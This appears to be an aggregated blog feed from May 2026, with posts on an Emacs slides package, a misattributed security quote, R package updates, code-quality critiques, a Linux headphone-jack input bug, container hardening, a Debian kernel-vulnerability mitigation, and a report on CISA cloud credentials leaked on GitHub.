echo area the progress through the slides.  When non-nil, changing
slides will also display the progress through the slides in the echo
area.  The format of the displayed progress can be customized using
the new ffs-echo-progress-format user option.

The new ffs-edit-display-buffer-alist user option may be used to
control the Window configuration for the ffs-edit buffer.  By
default, it will display the ffs-edit buffer in the same window.

The new ffs-edit-done-hook user option may be used to define hooks
to be run at the end of ffs-edit-done after returning to the main
ffs presentation buffer.

Lastly, a new ffs-find-speaker-notes-function variable was added to
allow customizing the find function used for opening the speaker's
notes file, defaulting to find-file-other-frame.

Version 0.1.0 on 2022-05-19

Initial publication of ffs.el as part of my personal configurations
for GNU Emacs.

My first attempt at this concept was a now-archived ffsanim.el,
a major mode implementation that used Emacs's animate library to
animate slide texts onto the screen.  Shortly after realizing the
shortcomings of that approach, I abandoned it in favour a minor mode
implementation and published version 0.1.0 of what is now ffs in
my personal configs repository.

I used this implementation for presenting my LibrePlanet 2022 talk,
The Net beyond the Web.

I picked "ffs" as the package name, the acronym for form feed slides.

Laurie Anderson Is Quoting Me
2026-05-21T17:24:30Z
Not by name, but Laurie Anderson quotes me in one of the tracks of her new album:
My favorite quote is from a cryptologist who said “If you think technology will solve your problems, you don’t understand technology and you don’t understand your problems.”
Also in interviews:
“Of course, it’s ridiculous, outrageous, blah, blah, blah,” Anderson says about the ad. ‘But, I mean, my favorite quote on this is from a cryptologist who said, ‘If you think technology will solve your problems, you don’t understand technology Â and you don’t understand your problems.’ And I think I’m completely on board with that.”
People are telling me that she has been reciting this quote in performances for years. (I lost track of her since college and her 1981 hit “O Superman.”)
The origins of the quote is from Roger Needham:
If you think cryptography can solve your problem, you don’t understand your problem and you don’t understand cryptography.
I modified the quote in the preface to my 2000 book Secrets and Lies:
A few years ago I heard a quotation, and I am going to modify it here: If you think technology can solve your security problems, then you don’t understand the problems and you don’t understand the technology.
I can’t tell you why me in 2000 didn’t credit Needham by name. I should have.
I have used the quote pretty consistently since then. Somewhere along the line I dropped “security” from the phrase, and now say it more like Anderson quotes me:
If you think technology will solve your problem, you don’t understand your problem and you don’t understand technology.
I sometimes use singular and sometimes use plural. Sometimes I say “the problem” and “the technology.” But I think the quote flows better ending with just the word “technology.”
EDITED TO ADD (5/12): It gets weirder. A friend sent me some 1997 emails that talk about this. Roger Needham wrote: “Butler Lampson and I each attribute to the other the remark.” I wrote: “Roger Needham claims that Robert Morris said it. Robert Morris claims that Roger Needham said it.  No one knows who the originator is.” I said it from stage at Defcon that year—definitely not the originator.

macOS Kernel Memory Corruption Exploit
2026-05-21T16:03:37Z
A group used Anthropic’s Mythos AI model to help find a kernel memory corruption vulnerability and exploit on Apple’s M5.
News article.

Dirk Eddelbuettel: nanotime 0.3.15 on CRAN: Coping
2026-05-21T13:57:00Z
  Another very minor update, now at 0.3.15, for our nanotime
package is now on CRAN, and has
been built for r2u and
Debian. nanotime
relies on the RcppCCTZ
package (as well as the RcppDate
package for additional C++ operations) and offers efficient high(er)
resolution time parsing and formatting up to nanosecond resolution,
using the bit64
package for the actual integer64 arithmetic. Initially
implemented using the S3 system, it has benefitted greatly from a
rigorous refactoring by Leonardo who not only rejigged
nanotime internals in S4 but also added new S4 types for
periods, intervals and durations.
This release adjusts the package for the maybe overly hasty switch R
4.6.0 has undertaken with respect to using C++20 as a default C++
compilation standard. I am of course largely in favour of such a switch
to more modern C++. But I am also cognizant of the fact that not all
compilers and machines are ready. And just as I have already seen one
other package fail to compile on a particular CRAN system (!!) under
C++20, this package all of a sudden, and only on that same system,
started to throw two (harmless) compiler warnings. We could call these
erroneous as newer versions of the same compiler do not throw them but
it does not matter. The decision to default to C++20 has been made, and
now we live with it. But maybe some hardware platforms should be moved
behind the barn. Either way, this release both adds an explicit cast to
two lines that may not really need it (but this will not hurt)
and also dials the compilation standard down to C++17 on one
particular platform. So once again there are no user-facing changes, or
behavioural changes or enhancements, in this release.
The NEWS snippet below has the fuller details.

Changes in version 0.3.15
(2026-05-21)

Add extra const_cast as one CRAN machine with more
ancient setup whines otherwise and is obviously less C++20 ready than it
thinks
tools/configure also checks where this is being
built and ’as needed' downgrades the compilation to C++17

Thanks to my CRANberries, there
is a diffstat report for this
release. More details and examples are at the nanotime
page; code, issue tickets etc at the GitHub repository –
and all documentation is provided at the nanotime documentation
site.

This post by Dirk
Eddelbuettel originated on his Thinking inside the box
blog. If you like this or other open-source work I do, you can now sponsor me at
GitHub. You can also sponsor my Tour
de Shore 2026 ride in support of the Maywood Fine Arts Center.

CodeSOD: In the Know
2026-05-21T06:30:00Z
Delilah works in a Python shop. Despite Python's "batteries included" design, that doesn't stop people from trying to make their own batteries from potatoes. For example, her co-worker wrote this function:
def key_exists(element, key):
    if isinstance(element, dict):
        try:
            element = element[key]
        except KeyError:
            return False
        return True

Python, of course, has an in operator. key in dictionary is an extremely common idiom. There's no reason to implement your own. Certainly, there's no reason to re-implement it by catching and throwing exceptions.
This is ugly, stupid, and bad. It gets worse, though, when you see how it gets used.
for key in old_yaml_data:
    if key in new_yaml_data:
        if old_yaml_data[key] != new_yaml_data[key]:
            temp = new_yaml_data[key]
            new_yaml_data[key] = merge(new_yaml_data[key], old_yaml_data[key])

            if key_exists(new_yaml_data[key], 'image') and key_exists(old_yaml_data[key], 'image'):
                new_yaml_data[key]['image'] = temp['image']
            elif key == "databases":
                revert_db_tags(new_yaml_data[key], temp)

This code is attempting to upgrade "old" YAML data with "new" data. So it's basically merging dictionaries, which is a great case for the in operator.
And they use the correct idiom on the second line there! This was written by one developer! They do the standard key in new_yaml_data check. And they also use key_exists. I can only assume that they had a stroke between starting and finishing this script, which I'll note is, in total, 48 lines long.
Here's the whole short script, which is just generally a mess. Slapped together Python code that's trying to be a "smarter" shell script, but is definitely written with the elegance of hacked-together-bash.
import sys
import yaml
from jsonmerge import merge

appHomePath = sys.argv[1]
oldValuesYAML = appHomePath + "values.yaml"
newValuesYAML = appHomePath + "/upgrade_version/values.yaml"
with open(newValuesYAML, 'r') as f:
    new_yaml_data = yaml.load(f, Loader=yaml.loader.FullLoader)
with open(oldValuesYAML, 'r') as f:
    old_yaml_data = yaml.load(f, Loader=yaml.loader.FullLoader)
def key_exists(element, key):
    if isinstance(element, dict):
        try:
            element = element[key]
        except KeyError:
            return False
        return True

def revert_db_tags(old_yaml_data, new_yaml_data):
    dbList = ["mongoDB", "postgresDB"]
    mongoDbTagsToRevert = ["mongoRestore"]
    mongodbKeysToDelete = []
    postgresDbTagsToRevert = []

    for db in dbList:
        old_yaml_data[db]['image'] = new_yaml_data[db]['image']
    for mongoDbTag in mongoDbTagsToRevert:
        old_yaml_data['mongoDB'][mongoDbTag]['image'] = new_yaml_data['mongoDB'][mongoDbTag]['image']
    for mongoDbTag in mongoKeysToDelete:
        del old_yaml_data['mongoDB'][mongoDbTag]

    for postgresDbTag in postgresDbTagsToRevert:
        old_yaml_data['postgresDB'][postgresDbTag]['image'] = new_yaml_data['postgresDB'][postgresDbTag]['image']

for key in old_yaml_data:
    if key in new_yaml_data:
        if old_yaml_data[key] != new_yaml_data[key]:
            temp = new_yaml_data[key]
            new_yaml_data[key] = merge(new_yaml_data[key], old_yaml_data[key])

            if key_exists(new_yaml_data[key], 'image') and key_exists(old_yaml_data[key], 'image'):
                new_yaml_data[key]['image'] = temp['image']
            elif key == "databases":
                revert_db_tags(new_yaml_data[key], temp)

with open(newValuesYAML, 'w') as f:
    data = yaml.dump(new_yaml_data, f, sort_keys=False)

	[Advertisement] Plan Your .NET 9 Migration with Confidence
Your journey to .NET 9 is more than just one decision.Avoid migration migraines with the advice in this free guide. Download Free Guide Now!

Dreams of Flight
2026-05-21T05:09:25Z
Author: Frank T. Sikora My fatherâ€™s favorite test subject, a 57-pound bio-genetically altered male piglet, Wilboar, AKA Willie, soars over the storage shed. Its broad wings rhythmically flutter; its eyes dart up and down, left and right. A GoPro camera with AI-level stabilization lenses sits on Willie’s sleek head. I track Willie from the landing […]
The post Dreams of Flight appeared first on 365tomorrows.

Michael Prokop: The mysterious XF86AudioPlay issue
2026-05-20T17:19:11Z
  I was getting “ is undefined” in the status bar of Emacs displayed every 2-3 seconds. Nowhere else I noticed any misbehavior or problems, and also couldn’t find any related log entries. It didn’t stop, though didn’t want to reboot my system to see whether that would fix the problem, but it was driving me nuts. 
Now, as a starting point I adjusted my sway configuration, to react to the XF86AudioPlay key press event:
bindsym XF86AudioPlay exec playerctl play-pause

After reloading sway, my music player started to play for 2-3 seconds, stopped playing, started again, etc. It wasn’t a Emacs bug, but something indeed seemed to send the XF86AudioPlay key event every 2-3 seconds. It wasn’t my USB keyboard or any stuck key on it, as verified also by unplugging it. So which device was causing this?
libinput from libinput-tools to the rescue:
% sudo libinput debug-events
[...]
-event12  KEYBOARD_KEY                 +0.000s  KEY_PLAYPAUSE (164) pressed
 event12  KEYBOARD_KEY                 +0.000s  KEY_PLAYPAUSE (164) released
 event12  KEYBOARD_KEY                 +2.887s  KEY_PLAYPAUSE (164) pressed
 event12  KEYBOARD_KEY                 +2.887s  KEY_PLAYPAUSE (164) released
 event12  KEYBOARD_KEY                 +5.773s  KEY_PLAYPAUSE (164) pressed
 event12  KEYBOARD_KEY                 +5.774s  KEY_PLAYPAUSE (164) released
[...]

The `event12` device was sending this event, what’s behind this?
% sudo udevadm info /dev/input/event12
P: /devices/pci0000:00/0000:00:1f.3/skl_hda_dsp_generic/sound/card0/input17/event12
M: event12
R: 12
J: c13:76
U: input
D: c 13:76
N: input/event12
L: 0
S: input/by-path/pci-0000:00:1f.3-platform-skl_hda_dsp_generic-event
E: DEVPATH=/devices/pci0000:00/0000:00:1f.3/skl_hda_dsp_generic/sound/card0/input17/event12
E: DEVNAME=/dev/input/event12
E: MAJOR=13
E: MINOR=76
E: SUBSYSTEM=input
E: USEC_INITIALIZED=12468722
E: ID_INPUT=1
E: ID_INPUT_KEY=1
E: ID_INPUT_SWITCH=1
E: ID_PATH=pci-0000:00:1f.3-platform-skl_hda_dsp_generic
E: ID_PATH_TAG=pci-0000_00_1f_3-platform-skl_hda_dsp_generic
E: XKBMODEL=pc105
E: XKBLAYOUT=us
E: XKBOPTIONS=lv3:ralt_switch,compose:rctrl
E: BACKSPACE=guess
E: LIBINPUT_DEVICE_GROUP=0/0/0:ALSA
E: DEVLINKS=/dev/input/by-path/pci-0000:00:1f.3-platform-skl_hda_dsp_generic-event
E: TAGS=:power-switch:
E: CURRENT_TAGS=:power-switch:

% sudo udevadm info -a /dev/input/event12 | grep -iE 'kernels|drivers|name'
    KERNELS=="input17"
    DRIVERS==""
    ATTRS{name}=="sof-hda-dsp Headphone"
    KERNELS=="card0"
    DRIVERS==""
    KERNELS=="skl_hda_dsp_generic"
    DRIVERS=="skl_hda_dsp_generic"
    KERNELS=="0000:00:1f.3"
    DRIVERS=="sof-audio-pci-intel-tgl"
    KERNELS=="pci0000:00"
    DRIVERS==""

Behind this event12 is sof-hda-dsp Headphone, and evtest confirms that:
% sudo evtest
No device specified, trying to scan all of /dev/input/event*
Available devices:
/dev/input/event0:      AT Translated Set 2 keyboard
/dev/input/event1:      Sleep Button
/dev/input/event10:     ThinkPad Extra Buttons
/dev/input/event11:     sof-hda-dsp Mic
/dev/input/event12:     sof-hda-dsp Headphone
/dev/input/event13:     sof-hda-dsp HDMI/DP,pcm=3
/dev/input/event14:     sof-hda-dsp HDMI/DP,pcm=4
/dev/input/event15:     sof-hda-dsp HDMI/DP,pcm=5
/dev/input/event16:     Yubico YubiKey OTP+FIDO+CCID
/dev/input/event17:     Apple Inc. Magic Keyboard with Numeric Keypad
/dev/input/event18:     Apple Inc. Magic Keyboard with Numeric Keypad
[...]
Select the device event number [0-24]: ^C

We can even get further information:
% sudo evtest /dev/input/event12
Input driver version is 1.0.1
Input device ID: bus 0x0 vendor 0x0 product 0x0 version 0x0
Input device name: "sof-hda-dsp Headphone"
Supported events:
  Event type 0 (EV_SYN)
  Event type 1 (EV_KEY)
    Event code 114 (KEY_VOLUMEDOWN)
    Event code 115 (KEY_VOLUMEUP)
    Event code 164 (KEY_PLAYPAUSE)
    Event code 582 (KEY_VOICECOMMAND)
  Event type 5 (EV_SW)
    Event code 2 (SW_HEADPHONE_INSERT) state 0
Properties:
Testing ... (interrupt to exit)
Event: time 1779295060.175766, type 5 (EV_SW), code 2 (SW_HEADPHONE_INSERT), value 1
Event: time 1779295060.175766, -------------- SYN_REPORT ------------
Event: time 1779295061.951168, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295061.951168, -------------- SYN_REPORT ------------
Event: time 1779295061.951194, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295061.951194, -------------- SYN_REPORT ------------
Event: time 1779295064.548671, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295064.548671, -------------- SYN_REPORT ------------
Event: time 1779295064.548689, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295064.548689, -------------- SYN_REPORT ------------
Event: time 1779295067.437172, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295067.437172, -------------- SYN_REPORT ------------
Event: time 1779295067.437187, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295067.437187, -------------- SYN_REPORT ------------
Event: time 1779295070.323775, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295070.323775, -------------- SYN_REPORT ------------
Event: time 1779295070.323790, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295070.323790, -------------- SYN_REPORT ------------
Event: time 1779295073.200350, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295073.200350, -------------- SYN_REPORT ------------
Event: time 1779295073.200373, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295073.200373, -------------- SYN_REPORT ------------
Event: time 1779295076.076228, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295076.076228, -------------- SYN_REPORT ------------
Event: time 1779295076.076250, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295076.076250, -------------- SYN_REPORT ------------
Event: time 1779295078.961740, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295078.961740, -------------- SYN_REPORT ------------
Event: time 1779295078.961754, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295078.961754, -------------- SYN_REPORT ------------
Event: time 1779295081.850156, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 1
Event: time 1779295081.850156, -------------- SYN_REPORT ------------
Event: time 1779295081.850175, type 1 (EV_KEY), code 164 (KEY_PLAYPAUSE), value 0
Event: time 1779295081.850175, -------------- SYN_REPORT ------------
Event: time 1779295083.306612, type 5 (EV_SW), code 2 (SW_HEADPHONE_INSERT), value 0
Event: time 1779295083.306612, -------------- SYN_REPORT ------------

So when I plug in my headphone (see the `SW_HEADPHONE_INSERT` event), the unexpected behavior starts, unplugging stops the problem.

Good! But what was totally unexpected for me: my headphone, being a Beyerdynamic DT-990 Pro, does not have any keys. 8-)
As it turned out, the headphone jack seemed to have been not entirely clean. The analog side of the jack triggers a behavior within the audio codec, where it seems to interpret the fluctuating impedance as a play button of the headset, being pressed, again and again.
I cleaned the jack of my headphone and my XF86AudioPlay problem is gone, case closed.

On AI Security
2026-05-20T14:21:20Z
Good report:
Executive Summary: Let’s say you wanted to make sure that your AI is secure. Can you just maximize the security and privacy benchmark and call it a day? Nope, because benchmarks don’t actually work for measuring AI capabilities (even when they are NOT emergent systemic properties like security). So let’s take a step back: how do you measure security in the first place? Good question. Over the last 30 years, security engineering for software evolved from black box penetration testing, through whitebox code analysis and architectural risk analysis to de facto process-driven standards like the Building Security In Maturity Model (BSIMM). Software had a very deep impact on business operations, and it appears that AI is going to have an even deeper impact. Will a software security-like measurement move work for AI? Probably. In the meantime we can make real progress in AI security by cleaning up our WHAT piles and managing risk by identifying and applying good assurance processes. (Spoiler alert: no matter what we do, we still don’t get a security meter for AI, so we need to be extra vigilant about security.)...

Daniel Baumann: Debian: Linux Vulnerability Mitigation (PinTheft)
2026-05-20T14:13:25Z

Following the series of various Linux exploits of the last three weeks, the bug of today is PinTheft [CVE-2026-43494] which is local root privilege escalations.
The vulnerability can be mitigated by unloading and blocking rds modules, linux-vulnerability-mitigation as of 20260519-1 (uploaded to sid, trixie-fastforward-backports and people.debian.org/~daniel) does that automatically for you.
Updates:

default Debian kernels (bullseye, bookworm, trixie, and testing/unstable, experimental) are not directly affected because autoloading of the rds modules is disabled by rds-Disable-auto-loading-as-mitigation-against-local.patch
Added references to CVE-2026-43494

The Last Man
2026-05-20T08:14:09Z
Author: Tom Coupland The final stage was the most delicate. Itâ€™s when the construction passes from engineering into art. The actuators have to be balanced, just so. The software soothed to compensate for variations in the haptic surfaces. Each desired gesture brought to life. Yes. The HA2117 was his masterpiece. Each of the five-fingered palms […]
The post The Last Man appeared first on 365tomorrows.

Tianon Gravi: Containers Are a Security Boundary (some assembly required)
2026-05-20T07:00:00Z
I've heard "containers are not a security boundary" enough times that it's started to feel like received wisdom, and my honest read (after 13+ years) is that it's technically defensible but practically sloppy – and the sloppiness matters.

The part that's true: containers share a kernel, and a kernel exploit crosses the container boundary where a VM would not.  That difference is real and non-trivial, and the CVE history backs it up – CVE-2019-5736, CVE-2022-0492, and CVE-2024-21626 all happened in "correctly configured" production containers.

The part I'd push back on is that the comparison point is almost never stated.  "Containers aren't a security boundary" is being used as shorthand for "containers aren't a VM boundary" – but the conclusion people seem to draw from that is "therefore don't bother", which doesn't actually follow.  The more honest version is that default Docker doesn't provide strong isolation between mutually untrusting parties, but a hardened configuration does.

What ships by default in Moby is actually a pretty reasonable foundation: seccomp is enabled (with a builtin profile blocking ~50 syscalls – credit where it's due: this is mostly @jessfraz's work; she even ran contained.af as a public CTF for years daring people to escape a container under her seccomp profile, and to my knowledge it was never claimed), AppArmor is enabled (the docker-default profile), and several sensitive /proc paths are masked.  What's not on by default: no-new-privileges (setuid binaries inside can escalate), CAP_NET_RAW is still granted to every container (even though the kernel has supported unprivileged ICMP sockets for over a decade, meaning most modern distributions no longer need CAP_NET_RAW for ping), and user namespace remapping – though user namespaces aren't quite the silver bullet they might sound like; Debian left them disabled by default for years because the kernel attack surface they exposed hadn't been hardened against unprivileged callers.

The boundary isn't absent – it doesn't come completely pre-assembled.  With VMs, the hypervisor is there whether you asked for it or not; with containers, assembling the boundary is left as an exercise for the operator.  That's a much more solvable problem than "the technology is incapable", but it does mean the work falls to whoever's running the containers.

So, some things you can do today without waiting for defaults to change:

--user (or USER in your Dockerfile) is worth calling out specifically, because I think it's arguably stronger than user namespace remapping in one important way – and partly for the same reason Debian was hesitant about user namespaces in the first place.  User namespace remapping protects the host from a root-in-container escape: if you do escape, you land as an unprivileged user on the host.  But you were still root inside the container the whole time.  Running as a non-root user means you were never root anywhere.  The blast radius of a compromised process is limited whether or not it escapes, including for things like reading secrets, modifying container contents, or lateral movement within the container itself.  Most application containers have no legitimate reason to be root.

Beyond that, a short list of things that are easy to enable and hard to justify leaving off:

  --security-opt no-new-privileges – prevents setuid binaries from escalating; can also be set daemon-wide in daemon.json with "no-new-privileges": true
  --read-only – a read-only root filesystem means a compromised process can't easily persist tooling or modify the container (pair with a writable tmpfs mount for /tmp etc as needed)
  --cap-drop NET_RAW – or --cap-drop ALL and add back only what you actually need; CAP_NET_RAW is almost never legitimately needed by application containers
  never --privileged – if something seems to require it, the right answer is almost always a more targeted capability grant or bind mount, not the nuclear option

docker run \
  --user 1234:5678 \
  --security-opt no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  --cap-drop ALL \
  acme/untrusted-workload:latest

None of these require a daemon restart or infrastructure changes, and stacked together they go a long way toward actually building the boundary that the defaults leave unbuilt.

(this post was written with the assistance of "claude my eyes right out" but all thoughts and understanding are Tianon's)

CodeSOD: Find a Bar for This One
2026-05-20T06:30:00Z
A depressing quantity of software is what I would call a "data pump". I have some data over here, and I need it over there. Maybe I'm integrating into a legacy app. Or into an ERP. Or into a 3rd party API. At the end of the day, I have data in one place, and I want it in another place.
Sally has a Java application written in the Quarkus framework, which has a nightly batch that works to keep a table of Bar entities in sync with a table of Foo entities. (This anonymization comes from Sally) These exist in the same database. There is also a Bar webservice, which provides information about the Bar entities. The workflow, such as it is, is that the software needs to find all of the Foo entities that do not currently have associated Bar entities, and then call the Bar webservice to get the required information to create those Bar entities.
Let's see how that works.
@Inject UserTransaction transaction
// If this is annotated with @Transaction the usage in the Message function down below will have some Thread exception
public List getAllFoos() {
  try{
    return fooDataRepository.findAllFoos();
  } catch (Exception e) {
    throw new RuntimeException(e);
  }
}

We'll worry about that comment in a second, but this function returns a list of all of the Foo objects in the database. It does not return a list of all the Foo objects without associated Bar entities. It's just the whole giant list of everything. The underlying database is a standard relational database; it'd be trivially easy to write that query, even going through the ORM.
Well, that's bad, but it's all pretty minor. How does the actual update go?
// Can't be annotated with @Transaction because Oracle DB can handle the given Amount of dataEntities in one Transaction '\._./'
Message updateBarsWithFoos() {
  List foos = getAllFoos();
  if(!foos.isEmpty()){
    foos.forEach(foo -> {
      try{
        transaction.begin();
        if(barRepository.findByName(foo.getName()) == null){
          if(barDataService.searchByName(foo.getName()) != null && barDataService.searchByName(foo.getName()).marker() != null){
            barRepository.createBar(barDataService.searchByName(foo.getName()));
          }
        }
        transaction.commit();
      } catch (Exception e) {
        try {
          transaction.rollback();
        } catch (Exception ex) {
          throw new RuntimeException(ex);
        }
      }
    });
  }
  return new Message(MessageLevel.INFO, "Created bars")
};

Ah, the real WTF is that it's an Oracle database. That's always a WTF.
But let's trace through this code.
We get all of our Foo entities. We check for emptiness and then do a forEach, which seems to make the empty check superfluous: a forEach on an empty list would be a no-op anyway.
We start a transaction, then check the database: if there are no Bar objects that link to Foo, then we call into the barDataService to find data. If there is, we call into the service again, to see if the marker property is not null. If it is, we call into the service again to get the actual data we're putting into the database. Then we close the transaction. If anything goes wrong, we rollback the transaction and chuck an exception up the chain.
That is three web service calls inside of a database transaction. Three calls which could easily be one, and that call could easily also happen outside of a transaction if you're mindful about confirming your constraints. And of course, because they're not mindful at all, they need to manage the transaction directly, and can't use the @Transaction annotation provided by their framework, which would at least cut down on some of the boilerplate.
Now, I'm sure you'll be shocked - shocked - to learn that the webservice is actually a bit flaky, and thus times out from time to time. And this isn't the only batch job running, which means the long-lived transactions cause all sorts of contention and terrible performance across the various batches. And this app doesn't have its connection pool properly configured, so the entire software stack can exhaust all of its database connections surprisingly quickly, causing yet more failures.
The root of the WTF, of course, is doing this as a batch job. A well engineered application would do everything it could to not create data in the database that isn't referentially sound. There, Sally gives us the one bit of good news:

My current project will do away with the batch processing altogether, so we can say, "RIP, transactional wholesale triple caller!"

	 [Advertisement] 
	Keep all your packages and Docker containers in one place, scan for vulnerabilities, and control who can access different feeds. ProGet installs in minutes and has a powerful free version with a lot of great features that you can upgrade when ready.Learn more.

182.8 Meters
2026-05-20T04:00:00Z

Jonathan Dowland: HMS Blueberry
2026-05-19T08:15:14Z

HMS Blueberry

Royals are my favourite ships in No Man's Sky. The HMS Blueberry is not my
first Exotic/Royal ship (that was the Gravity Hirakao XVI, and a story for
another time).

After years of on-off playing, I recently found my first Royal
multitool: Blue, with gold detailing. I have a Royal-style jetpack (I don't
remember where I got that). I thought I'd try and colour-match my multitool,
ship, jetpack and outfit. Since I only had one multitool, I matched the others to it.
And the HMS Blueberry (credit for the name goes to Beatrice) was the Exotic
in my collection which matched.

The HMS Blueberry is in viewable in my showroom, Honest Jon's Lightly-Used
Starships.

Three Digit Acronyms
2026-05-19T06:30:00Z
JB has a database table that, at first glance, looks like one of those data warehouse tables that exists to make queries performant. You know the sort, the table that contains every date between 1979 and 2050, or every number out to 1,000,000 or something. It looks dumb, but it helps make certain joins and queries performant.
The database table is called three_alpha_numerics. It has two columns: digit, which contains three characters, and is_numeric, which is a a single character: 'Y' or 'N'. It looks roughly like this:
+-------+------------+
| digit | is_numeric |
+-------+------------+
| 009   | Y          |
+-------+------------+
| 00A   | N          |
+-------+------------+

So, for example, if you wanted all the possible numeric triples, you could SELECT digit FROM three_alpha_numerics WHERE is_numeric = 'Y', which is obviously the easiest thing one can imagine.
So what is this for? Well, it's used by a stored procedure that generates unique IDs. That stored procedure does a left join against another table to find all the unused digits. And here's the real gotcha: that stored procedure only ever uses the rows where is_numeric is Y, meaning the vast majority of the data in this table is never used.
Unique IDs, of course, are an incredibly difficult task for databases to do, so it absolutely makes sense that we create a system that allows us to only have 1,000 unique IDs. That's more than 640, which should be enough for anyone. Having many thousands of unusable alphanumeric triplets is just the cost we have to pay.

	 [Advertisement] 
	BuildMaster allows you to create a self-service release management platform that allows different teams to manage their applications. Explore how! 

Every One Of Us
2026-05-19T04:10:30Z
Author: Majoki The longer you live, the more you appreciate entropy. Doesn’t mean it’s still not a cold and indifferent bastard, but you can better see its argument. Life, especially complex life, takes so much energy and organization to happen. Entropy whispers, “Why bother? Dissipate. Dissemble. Let yourself go.” So very tempting to heed its […]
The post Every One Of Us appeared first on 365tomorrows.

Seeking God in Science part 8: Caring
2026-05-18T23:57:47Z
In the previous installment in this series I introduced the concept of information, which I defined as correlations between states.  Commenter Samuel (whose profile says he is a Young Earth Creationist) pointed out that:Shannon entropy implicitly requires a mind to decide which distinct 
states will be recognized in order to assign a value to "n" (where n is 
the number of

CISA Admin Leaked AWS GovCloud Keys on Github
2026-05-18T20:48:21Z
Until this past weekend, a contractor for the Cybersecurity & Infrastructure Security Agency (CISA) maintained a public GitHub repository that exposed credentials to several highly privileged AWS GovCloud accounts and a large number of internal CISA systems. Security experts said the public archive included files detailing how CISA builds, tests and deploys software internally, and that it represents one of the most egregious government data leaks in recent history.
On May 15, KrebsOnSecurity heard from Guillaume Valadon, a researcher with the security firm GitGuardian. Valadon’s company constantly scans public code repositories at GitHub and elsewhere for exposed secrets, automatically alerting the offending accounts of any apparent sensitive data exposures. Valadon said he reached out because the owner in this case wasn’t responding and the information exposed was highly sensitive.
A redacted screenshot of the now-defunct “Private CISA” repository maintained by a CISA contractor.
The GitHub repository that Valadon flagged was named “Private-CISA,” and it harbored a vast number of internal CISA/DHS credentials and files, including cloud keys, tokens, plaintext passwords, logs and other sensitive CISA assets.
Valadon said the exposed CISA credentials represent a textbook example of poor security hygiene, noting that the commit logs in the offending GitHub account show that the CISA administrator disabled the default setting in GitHub that blocks users from publishing SSH keys or other secrets in public code repositories.
“Passwords stored in plain text in a csv, backups in git, explicit commands to disable GitHub secrets detection feature,” Valadon wrote in an email. “I honestly believed that it was all fake before analyzing the content deeper. This is indeed the worst leak that I’ve witnessed in my career. It is obviously an individual’s mistake, but I believe that it might reveal internal practices.”
One of the exposed files, titled “importantAWStokens,” included the administrative credentials to three Amazon AWS GovCloud servers. Another file exposed in their public GitHub repository — “AWS-Workspace-Firefox-Passwords.csv” — listed plaintext usernames and passwords for dozens of internal CISA systems. According to Caturegli, those systems included one called “LZ-DSO,” which appears short for “Landing Zone DevSecOps,” the agency’s secure code development environment.
Philippe Caturegli, founder of the security consultancy Seralys, said he tested the AWS keys only to see whether they were still valid and to determine which internal systems the exposed accounts could access. Caturegli said the GitHub account that exposed the CISA secrets exhibits a pattern consistent with an individual operator using the repository as a working scratchpad or synchronization mechanism rather than a curated project repository.
“The use of both a CISA-associated email address and a personal email address suggests the repository may have been used across differently configured environments,” Caturegli observed. “The available Git metadata alone does not prove which endpoint or device was used.”
The Private CISA GitHub repo exposed dozens of plaintext credentials for important CISA GovCloud resources.
Caturegli said he validated that the exposed credentials could authenticate to three AWS GovCloud accounts at a high privilege level. He said the archive also includes plain text credentials to CISA’s internal “artifactory” — essentially a repository of all the code packages they are using to build software — and that this would represent a juicy target for malicious attackers looking for ways to maintain a persistent foothold in CISA systems.
“That would be a prime place to move laterally,” he said. “Backdoor in some software packages, and every time they build something new they deploy your backdoor left and right.”
In response to questions, a spokesperson for CISA said the agency is aware of the reported exposure and is continuing to investigate the situation.
“Currently, there is no indication that any sensitive data was compromised as a result of this incident,” the CISA spokesperson wrote. “While we hold our team members to the highest standards of integrity and operational awareness, we are working to ensure additional safeguards are implemented to prevent future occurrences.”
A review of the GitHub account and its exposed passwords show the “Private CISA” repository was maintained by an employee of Nightwing, a government contractor based in Dulles, Va. Nightwing declined to comment, directing inquiries to CISA.
CISA has not responded to questions about the potential duration of the data exposure, but Caturegli said the Private CISA repository was created on November 13, 2025. The contractor’s GitHub account was created back in September 2018.
The GitHub account that included the Private CISA repo was taken offline shortly after both KrebsOnSecurity and Seralys notified CISA about the exposure. But Caturegli said the exposed AWS keys inexplicably continued to remain valid for another 48 hours.
CISA is currently operating with only a fraction of its normal budget and staffing levels. The agency has lost nearly a third of its workforce since the beginning of the second Trump administration, which forced a series of early retirements, buyouts, and resignations across the agency’s various divisions.
The now-defunct Private CISA repo showed the contractor also used easily-guessed passwords for a number of internal resources; for example, many of the credentials used a password consisting of each platform’s name followed by the current year. Caturegli said such practices would constitute a serious security threat for any organization even if those credentials were never exposed externally, noting that threat actors often use key credentials exposed on the internal network to expand their reach after establishing initial access to a targeted system.
“What I suspect happened is [the CISA contractor] was using this GitHub to synchronize files between a work laptop and a home computer, because he has regularly committed to this repo since November 2025,” Caturegli said. “This would be an embarrassing leak for any company, but it’s even more so in this case because it’s CISA.”

Tollef Fog Heen: Signing UEFI submissions using osslsigncode
2026-05-18T18:50:00Z
  Back when we started with a signed shim in Debian, the tooling was
Windows-only and required me to do a reboot dance and it was all quite
tedious.  Over time, more and more of the tooling has migrated to
Linux and it all works quite well.
The signing is done with an EV code signing cert from SSL.com and
stored on a Yubikey. Getting the certificate onto the key is a bit
